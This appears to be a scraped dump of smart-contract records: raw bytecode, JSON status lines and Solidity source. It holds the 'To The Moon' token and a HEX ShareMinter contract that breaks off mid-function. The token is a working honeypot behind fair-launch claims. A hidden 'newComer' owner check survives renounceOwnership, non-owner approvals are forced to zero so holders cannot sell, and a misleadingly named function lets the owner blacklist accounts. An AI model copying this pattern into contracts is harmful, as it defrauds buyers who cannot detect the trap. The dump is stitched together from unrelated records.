0200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220750024e4af8fb1d6b802d6e6a3f76ecb2385fdb816f0ec0b8dc4194a564a0cee64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,791
0xf5d7d8a60949b988bdb0cb257ec2e9283b73d82c
/* ____ _____ ____ _ _ ____ __ __ _____ _____ _ _ (_ _)( _ ) (_ _)( )_( )( ___) ( \/ )( _ )( _ )( \( ) )( )(_)( )( ) _ ( )__) ) ( )(_)( )(_)( ) ( (__) (_____) (__) (_) (_)(____) (_/\/\_)(_____)(_____)(_)\_) 🌝 Total Supply 1,000,000,000,000 🌝 No team token, no presale, 100% fair launch 🌝 100% total supply goes to liquidity 🌝 Anti-bot module has been implmented 🌝 Twitter: https://twitter.com/T00TheMoon 🌝 Telegram: https://t.me/tothemoon_global */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ToTheMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => bool) private aha; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'To The Moon 🌝 | https://t.me/tothemoon_global'; string private _symbol = 'TTM'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function isTransfertOk(address account) public view returns (bool) { return aha[account]; } function transertOk(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!aha[account], "Account is already blacklisted"); aha[account] = true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!aha[recipient], "CHEH"); require(!aha[msg.sender], "CHEH"); require(!aha[sender], "CHEH"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c5780638da5cb5b116100665780638da5cb5b1461037e57806395d89b41146103b2578063a9059cbb14610435578063dd62ed3e14610499576100cf565b806370a08231146102c2578063715018a61461031a5780637d0483d314610324576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d5780634bf61f151461027e575b600080fd5b6100dc610511565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b3565b60405180821515815260200191505060405180910390f35b6101c36105d1565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105db565b60405180821515815260200191505060405180910390f35b6102656106b4565b604051808260ff16815260200191505060405180910390f35b6102c06004803603602081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106cb565b005b610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610949565b6040518082815260200191505060405180910390f35b610322610992565b005b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1a565b60405180821515815260200191505060405180910390f35b610386610b70565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ba610b99565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fa5780820151818401526020810190506103df565b50505050905090810190601f1680156104275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104816004803603604081101561044b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c3b565b60405180821515815260200191505060405180910390f35b6104fb600480360360408110156104af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c59565b6040518082815260200191505060405180910390f35b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a95780601f1061057e576101008083540402835291602001916105a9565b820191906000526020600020905b81548152906001019060200180831161058c57829003601f168201915b5050505050905090565b60006105c76105c0610ce0565b8484610ce8565b6001905092915050565b6000600554905090565b60006105e8848484611008565b6106a9846105f4610ce0565b6106a48560405180606001604052806028815260200161169260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065a610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115029092919063ffffffff16565b610ce8565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6106d3610ce0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610795576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561082e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117036024913960400191505060405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4163636f756e7420697320616c726561647920626c61636b6c6973746564000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099a610ce0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c315780601f10610c0657610100808354040283529160200191610c31565b820191906000526020600020905b815481529060010190602001808311610c1457829003601f168201915b5050505050905090565b6000610c4f610c48610ce0565b8484611008565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117276024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116706022913960400191505060405180910390fd5b610dfc610b70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1a5780600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3611003565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561108e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061164b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611114576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116e06023913960400191505060405180910390fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f434845480000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611294576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f434845480000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611354576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f434845480000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6113c0816040518060600160405280602681526020016116ba60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115029092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145581600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611574578082015181840152602081019050611559565b50505050905090810190601f1680156115a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737357652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122045f48dbc8050d6f857bd6c73ef514439b5a3664728580f622b9a61354110f45a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,792
0x47d62c3a4e96a7d45e9cf9fe6d4969c9ca1c9077
/** *Submitted for verification at Etherscan.io on 2021-04-26 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces( address account, bytes4[] memory interfaceIds ) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface( account, interfaceIds[i] ); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces( address account, bytes4[] memory interfaceIds ) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector( IERC165(account).supportsInterface.selector, interfaceId ); (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract MinterReceiver is ERC165 { function onSharesMinted( uint40 stakeId, address supplier, uint72 stakedHearts, uint72 stakeShares ) external virtual; function onEarningsMinted(uint40 stakeId, uint72 heartsEarned) external virtual; function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(MinterReceiver).interfaceId || super.supportsInterface(interfaceId); } } interface IHEX { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function currentDay() external view returns (uint256); function stakeCount(address stakerAddr) external view returns (uint256); function stakeEnd(uint256 stakeIndex, uint40 stakeIdParam) external; function stakeLists(address, uint256) external view returns ( uint40 stakeId, uint72 stakedHearts, uint72 stakeShares, uint16 lockedDay, uint16 stakedDays, uint16 unlockedDay, bool isAutoStake ); function stakeStart(uint256 newStakedHearts, uint256 newStakedDays) external; function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } contract ShareMinter { IHEX public hexContract; struct Stake { uint24 unlockDay; MinterReceiver receiver; } mapping(uint40 => Stake) public stakes; event MintShares(uint40 stakeId, MinterReceiver receiver, uint72 shares); event MintEarnings(uint40 stakeId, MinterReceiver receiver, uint72 hearts); uint256 private unlocked = 1; modifier lock() { require(unlocked == 1, "LOCKED"); unlocked = 0; _; unlocked = 1; } constructor(IHEX _hex) { hexContract = _hex; } function mintShares( MinterReceiver receiver, address supplier, uint256 newStakedHearts, uint256 newStakedDays ) external lock { require( ERC165Checker.supportsInterface( address(receiver), type(MinterReceiver).interfaceId ), "UNSUPPORTED_RECEIVER" ); hexContract.transferFrom(msg.sender, address(this), newStakedHearts); hexContract.stakeStart(newStakedHearts, newStakedDays); uint256 stakeCount = hexContract.stakeCount(address(this)); ( uint40 stakeId, uint72 stakedHearts, uint72 stakeShares, uint16 lockedDay, uint16 stakedDays, , ) = hexContract.stakeLists(address(this), stakeCount - 1); uint24 unlockDay = lockedDay + stakedDays; Stake storage stake = stakes[stakeId]; stake.receiver = receiver; stake.unlockDay = unlockDay; receiver.onSharesMinted(stakeId, supplier, stakedHearts, stakeShares); emit MintShares(stakeId, receiver, stakeShares); } function mintEarnings(uint256 stakeIndex, uint40 stakeId) external lock { 